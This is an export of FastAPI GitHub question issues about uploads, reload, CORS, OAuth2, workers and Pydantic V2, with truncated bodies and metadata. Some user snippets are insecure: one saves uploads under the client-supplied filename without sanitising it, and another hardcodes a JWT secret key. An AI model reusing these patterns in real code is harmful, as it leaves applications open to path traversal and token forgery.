- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/ddl"")
async def ddl(
    file: UploadFile = File(...)
):
    with open(""/tmp/"" + file.filename, ""wb"") as buffer:
        shutil.copyfileobj(file.file, buffer)
    df = pd.read_csv(
        ""/tmp/"" + file.filename,
        header=None,
        sep=""|"")
```


### Description

Currently, I have to use the above code which means I have to write it to disk. Is there an alternative way?

### Operating System

macOS

### Operating System Details

-

### FastAPI Version

0.88.0

### Python Version

3.9

### Additional Context

_No response_","question,question-migrate",2022-12-23T07:07:41Z,2023-02-27T19:06:52Z,1
tiangolo/fastapi,1506341331,Reload does not work with fastapi[all]==0.87.0 or greater,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
## Project Structure
.
├── app
│   └── main.py
├── Dockerfile
└── requirements.txt
└── docker-compose.yml

------------------------------------------------
## main.py

from fastapi import FastAPI

app = FastAPI()


@app.get(""/"")
def get_root():
    return {""message"": ""I am root!""}

------------------------------------------------

## Dockerfile

FROM amazon/aws-sam-cli-build-image-python3.9

RUN mkdir -p /cool-service

# Set environment variables
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONPATH=""${PYTHONPATH}:/cool-service""


COPY . /cool-service

RUN pip install --no-cache-dir ... [TRUNCATED]","question,question-migrate",2022-12-21T14:00:26Z,2023-02-27T19:06:50Z,2
tiangolo/fastapi,1506128578,manage memory consumption when supporting multiple language models,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()

model = {""en"": spacy.load(""en_core_web_sm""), ""de"": spacy.load(""de_core_news_lg"")}

@app.post(""/check"")
async def post_check_(text: str):
    lang = detect_language(text)
    tokens = model[lang](text)
    ..
```


### Description

I have a single endpoint that handles both English and German text using the spacy models. These models vary greatly in size and the German one specifically uses up 1GB+ of memory.

Having both models in the same worker, leads to a situation where many requests are being served for English (actually the ratio of English vs. German requests is 2:1), that are using all the memory of the German model... [TRUNCATED]","question,question-migrate",2022-12-21T11:09:09Z,2023-02-24T16:29:29Z,3
tiangolo/fastapi,1505751387,Prepare for Pydantic V2 release,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# any fastapi code is OK

from fastapi import FastAPI

app = FastAPI()


@app.get("""")
async def main():
    return ""ok""
```


### Description

Currently, the FastAPI's internal Pydantic models are not compatible with [Pydantic V2](https://github.com/pydantic/pydantic/tree/main/pydantic). 

For example,
- `dependencies/models.py`
- `openapi/models.py`
- `exceptions.py`

As Pydantic V2 is implemented with Rust, it should be quite performant than V1. I suggest preparing for its V2 in advance so that FastAPI can take advantage of it.



### Wanted Solution

We have to solve lots of errors. There are several categories:

- Errors from ... [TRUNCATED]","question,reviewed,question-migrate",2022-12-21T05:56:37Z,2023-02-24T16:29:26Z,2
tiangolo/fastapi,1504586904,Fastapi download video with StreamingResponse cause high cpu usage,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import os
import uvicorn
from multiprocessing import current_process
from starlette.background import BackgroundTask
from fastapi.middleware.cors import CORSMiddleware
from fastapi import FastAPI
from fastapi import (APIRouter, BackgroundTasks, Depends, File, HTTPException,
                     Query, Request, UploadFile, status)
from fastapi.responses import (FileResponse, RedirectResponse, Response,
                               StreamingResponse)




def send_bytes_range_requests(
    file_obj, start: int, end: int, chunk_size: int = 10_000
    ):
    """"""Send a file in chunks using Range Requests specification R... [TRUNCATED]","question,question-migrate",2022-12-20T13:45:36Z,2023-02-24T16:29:23Z,5
tiangolo/fastapi,1501371097,Can `RedirectResponse` return flash messages or context like `TemplateResponse`?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.get('')
async def logout():
    response = RedirectResponse(
        '/login', 302
    )
    response.delete_cookie(key='access_token')
    return response
```


### Description

I would to return flash messages after redirect an request. Actually, I do it using `TemplateResponse` and would be great if we can do it in `RedirectResponse` too!

### Wanted Solution

A simple solution would be if we can return a `msg` arg inside `RedirectResponse` or return the context(`Request`) and pass it inside.

### Wanted Code

```python
@router.get('')
async def logout():
    response = RedirectResponse(
        '/login', 302, msg='Sucessfully log... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-12-17T12:39:42Z,2023-02-27T19:06:47Z,2
tiangolo/fastapi,1500170848,"Will FastAPI support QUERY http method? ""app.query""","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI

app = FastAPI()


@app.query('/query/subjects')
def query_subjects(schema: ArbitrarySchema):
    with Session(engine) as db:
        subjects = db.query(Subject).all()
        return schema(**subjects)

# something like this
```


### Description

There is a new HTTP method called QUERY, I discovered it this week and it is super interesting!

https://www.ietf.org/archive/id/draft-ietf-httpbis-safe-method-w-body-02.html

I was trying to make a GET route that would accept a request body, but started receiving an error on Swagger UI:

[TypeError: Request has method 'GET' and cannot have a body](https://githu... [TRUNCATED]","feature,question,reviewed,question-migrate",2022-12-16T13:02:04Z,2023-02-24T16:29:18Z,6
tiangolo/fastapi,1499188503,RuntimeError using asynpcg and fastapi running async function: Task attached to a different loop,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# api.py
from fastapi import FastAPI

class API:
    def __init__(self, client):
        self.app = FastAPI()
        self.client = client

    async def get_user_locker(self, user_id: int):
        locker = await self.client.database.get_user_locker(user_id)
        characters = self.client.characters.get_by_id(locker)
        return characters

# main.py
from telegram import TelegramClient
from api import API

from threading import Thread

import asyncio
import uvicorn
import sys

async def start():

    client = TelegramClient(""test"")
    await client.start()

    api = API(client)
    api.app.add_api... [TRUNCATED]","question,question-migrate",2022-12-15T22:17:39Z,2023-02-27T19:06:43Z,8
tiangolo/fastapi,1499121154,How to override the default value errors on pydantic validation errors of the responses,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class DiscountItem(BaseModel):
    name: Optional[str] = None
    total: Decimal

@router.get(
    ""/sales"",
    response_model=DiscountItem,
    summary=""Get sales"")
async def get_sales(request: Request):
    return {}
```


### Description

For the example above, you will get a 500 internal server error and on the server you will see ValidationError and value_error.missing

Is there a way to override those errors ? 
For example, catch the errors , do something and then raise the errors again or send a customized error back to the customers ?

I've seen this [example](https://stackoverflow.com/questions/70167626/how-to-prevent-pydantic... [TRUNCATED]","question,question-migrate",2022-12-15T21:32:51Z,2023-02-24T16:29:15Z,3
tiangolo/fastapi,1499010310,BaseModel body validation can be bypassed if List is passed with extra parameters,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, FastAPI
from pydantic import BaseModel
from starlette.responses import Response


class Model(BaseModel, extra='forbid'):
    id: str


router = APIRouter()


@router.post(""/answer"")
async def answer_the_question(data: Model) -> Response:
    pass


def create_app():
    app = FastAPI()
    app.include_router(router)

    return app
```


### Description

Consider above code.
Endpoint `/answer` accepts data that should be of format `{""id"": str}`
Save above code as main.py and run with `uvicorn --factory main:create_app --port=8009 --reload`

Responses from the following d... [TRUNCATED]","question,question-migrate",2022-12-15T20:01:18Z,2023-02-24T16:29:13Z,0
tiangolo/fastapi,1498909940,How to add Header to every route in a Router such that there is a Header field visible for every route within the APIRouter when Swagger UI opens,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import json
from fastapi import FastAPI, Header, Request
from fastapi.openapi.utils import get_openapi

app = FastAPI()


@app.get(""/items/"")
async def read_items(x_tenant_id: str = Header()):
    return [{""hello"": ""world""}]


@app.get(""/users"")
async def read_users(request: Request):
    return [{""tag"": ""@jayashankarjayan""}]


def custom_openapi():
    header = {
            ""required"": True,
            ""schema"": {
              ""title"": ""X-Custom-Id"",
              ""type"": ""string""
            },
            ""name"": ""x-custom-id"",
            ""in"": ""header""
          }
    if app.openapi_schema:
        return app.opena... [TRUNCATED]","question,question-migrate",2022-12-15T18:37:28Z,2023-02-27T19:06:38Z,7
tiangolo/fastapi,1497928545,No 'Access-Control-Allow-Origin' error when redirecting the frontend,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app.add_middleware(
  CORSMiddleware,
  allow_origins=['http://localhost:3000', 'http://localhost:5173', 'http://localhost:3001'],
  allow_credentials=True,
  allow_methods=[""GET"", ""POST"", ""PUT"", ""HEAD"", ""OPTIONS""],
  allow_headers=[""Content-Type"", ""Set-Cookie"", ""Access-Control-Allow-Headers"", 'Content-Type', 'Authorization', 'Access-Control-Allow-Origin'],
)

@router.put(""/provider-data"")
def temp(data: dict, Auth_Token: Optional[str] = Cookie(None)):
    if Auth_Token is None:
        return False
    user = add_provider_user_data(data[""username""], data[""password""], Auth_Token)
    if not user:
        return False
    return Redirec... [TRUNCATED]","question,question-migrate",2022-12-15T07:22:25Z,2023-02-24T16:29:11Z,1
tiangolo/fastapi,1496206257,How to have a startup run by parent process and later worker process run it.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.on_event(""startup"")
def startup_event():
    """"""
    Initialize FastAPI and add variables
    """"""
    model_path = ""./model""

    if not os.path.exists(model_path): #GCP
        download_blob(gcp_bucket,gcp_model_path,model_directory,CONST_GCP_PATH)
        
    model = ORTModelForSeq2SeqLM.from_pretrained(model_path)

    app.package = {
        ""model"": model,
    }
```


### Description

I have a REST API, which downlaods the model from cloud and loads it in mermory. I am using worker nodes and all of them are trying to download the model. 
I just want to downlaod the model once and allow the worker nodes to load it in memory. ... [TRUNCATED]","question,question-migrate",2022-12-14T09:51:06Z,2023-02-27T19:06:35Z,3
tiangolo/fastapi,1495985681,about uvicorn workers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
uvicorn main:app --host 0.0.0.0 --workers 4
```


### Description

Q1:
How can I get the parameters of command configs? In this case, I want workers.
for example: 
>>> from fastapi import xxx
>>> xxx.config.workers
4

Q2:
Can I make a request to a given worker? I want assign a path to an appointed worker.
for example: when request ""/some_function"", only worker 1 will process it.


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.78.0

### Python Version

3.8

### Additional Context

_No response_","question,question-migrate",2022-12-14T07:53:32Z,2023-02-27T19:06:33Z,2
tiangolo/fastapi,1493223093,Setting OAuth2PasswordBearer tokenUrl with root-path,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime, timedelta
from typing import Union

from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jose import JWTError, jwt
from passlib.context import CryptContext
from pydantic import BaseModel

# to get a string like this run:
# openssl rand -hex 32
SECRET_KEY = ""09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7""
ALGORITHM = ""HS256""
ACCESS_TOKEN_EXPIRE_MINUTES = 30


fake_users_db = {
    ""johndoe"": {
        ""username"": ""johndoe"",
        ""full_name"": ""John Doe"",
        ""email"": ""johndoe@example.com"",
... [TRUNCATED]","question,question-migrate",2022-12-13T02:43:40Z,2023-02-24T16:29:08Z,3
tiangolo/fastapi,1492842233,`spool_max_size` is ignored in `UploadFile`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import fastapi


@router.post(""/upload_blog_articles"")
async def injest_blog(
    file: fastapi.UploadFile = fastapi.File(..., media_type=""text/csv""),
):
```


### Description

In the init method of `UploadFile` in starlettte `file` is always `None`. That means no matter how big the file is we are getting a spooled file instead of a regular file.

```py
    def __init__(
        self,
        filename: str,
        file: typing.Optional[typing.BinaryIO] = None,
        content_type: str = """",
        *,
        headers: ""typing.Optional[Headers]"" = None,
    ) -> None:
        self.filename = filename
        self.conte... [TRUNCATED]","question,question-migrate",2022-12-12T21:50:50Z,2023-02-24T16:29:05Z,4
tiangolo/fastapi,1492784167,Further guidance on reading and verifying Django generated passwords with OAuth2/passlib.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
*No Code to Show
```


### Description

This is a request for further guidance or resources around a 'Tip' provided in the Security OAuth2 tutorial. 
Following the OAuth2 security tutorial, I see the tip [where you can read/verify django generated passwords](https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/#hash-and-verify-the-passwords) and I'm failing to find more resources around being able to do this. 

Basically my goal is to have my FastAPI application share user authentication with a separate django site which uses the default built-in authentication. Users are expected to use the FastAPI app programmaticall... [TRUNCATED]","question,question-migrate",2022-12-12T21:16:38Z,2022-12-13T14:51:50Z,2
tiangolo/fastapi,1491966941,Differend websockets states in endpoint and exception handler,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.websocket(""/ws/"")
async def execute_command(
    socket: CommunicationSocket = Depends(get_communication_socket),
) -> None:
    manager = socket.get_manager()
    await manager.connect(socket.websocket)
    logger.info(f""Client {socket.app_resolver.app.name} connected"")
    try:
        await manager.process(socket)
    except WebSocketDisconnect:
        manager.disconnect(socket.websocket)
        logger.info(f""Client {socket.app_resolver.app.name} disconnected"")
    except pydantic.ValidationError as e:
        raise CommunicationValidationError(str(e))


## EXCEPTION HANDLER

async def handle_service_e... [TRUNCATED]","question,question-migrate",2022-12-12T14:05:04Z,2023-02-24T16:29:03Z,2
tiangolo/fastapi,1491549771,Header 'Date' ignored inside request headers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends

async def check_access(request: Request, date: str | None = Header(default=None)):
    print(date)
    print(request.headers)

app = FastAPI(
    dependencies=[Depends(check_access)],
)

@app.get(""/"")
async def read_root():
    return {""Hello"": ""World""}
```


### Description

Hello,
I'm trying to add Date header to my request from swagger field, but every string is ignored.

- The first print is: None
- The second print not include any Date header.
- Inside curl request the UI shows -H parameter with date: '{my_string}' but it seems to be ignored.

If I change the name from date to anything els... [TRUNCATED]","question,question-migrate",2022-12-12T10:41:29Z,2023-02-27T21:29:40Z,7
tiangolo/fastapi,1488434273,oauth2 docstrings are out of date,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
async def token(form_data: OAuth2PasswordRequestForm = Depends()):                      
    data = form_data # .parse()
```


### Description

https://github.com/tiangolo/fastapi/blob/97f04ab58c2c047d6d2ff7d803890a90190109c9/fastapi/security/oauth2.py#L17-L20

Maybe in the past this was the case, but today there's no `.parse` on `form_data`

Some 3p online resource omits the `.parse()` and accessing fields directly on `form_data` works, so presumably that's the correct way now?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10

### Additional Context

_No response_","question,question-migrate",2022-12-10T12:14:45Z,2023-02-28T15:45:15Z,1
tiangolo/fastapi,1486751296,Fastapi UploadFile with a payload,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import UploadFile
from typing import Union
    @router.post(""/"",
                 summary=""Store pdf in database"",
                 description=""Store pdf in database and return pdf"",
                 status_code=status.HTTP_201_CREATED,
                 responses={status.HTTP_400_BAD_REQUEST: {""model"": ResponseMessage},
                            status.HTTP_401_UNAUTHORIZED: {""model"": ResponseMessage},
                            status.HTTP_422_UNPROCESSABLE_ENTITY: {""model"": ResponseMessage},
                            status.HTTP_500_INTERNAL_SERVER_ERROR: {""model"": ResponseMessage}})
    async def create(self, slip_code... [TRUNCATED]","question,question-migrate",2022-12-09T13:19:22Z,2023-02-28T15:45:12Z,3
tiangolo/fastapi,1486626491,How to get form parameters with special characters,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Form, Response

env = {
    ""app"": ""ntunnel_mysql:app"",
    ""host"": ""0.0.0.0"",
    ""port"": 8611,
    ""workers"": 1,
    ""debug"": True
}

app = FastAPI(debug=env[""debug""])


@app.post(path='/mysql')
async def mysql(
        host: str = Form(None),
        port: int = Form(None),
        login: str = Form(None),
        password: str = Form(None),
        db: str = Form(None),
        actn: str = Form(None),
        q: list = Form(None),
        encodeBase64: str = Form(None)
):
    print(host, port, login, password, db, actn, q, encodeBase64)


if __name__ == '__main__':
    uvico... [TRUNCATED]","question,question-migrate",2022-12-09T11:54:31Z,2023-02-27T21:29:37Z,3
tiangolo/fastapi,1485905190,"When post with file by multipart/form-data, I can not got the data I want.","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app = FastAPI()

@app.post(""/saveFile"")
async def saveFile(request:Request):
    file = await request.body()
    file = file
    print(file)
    with open(""temp.txt"",""wb"") as f1:
        f1.write(file)
    

    return True
```


### Description

I use react to develop my frontend page and I used ant design's component to do the file upload operation, however, when upload the file, I can not got the data I want. Firstly I use binary write to write the bytestream to local, but the png file can not be opened successfully. Then I use a txt file to test the context of the stream, but I got the content below:

```... [TRUNCATED]","question,question-migrate",2022-12-09T03:44:00Z,2023-02-27T21:29:35Z,1
tiangolo/fastapi,1484866320,ISO 8601 Date format gets http:422 Unprocessable Entity,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
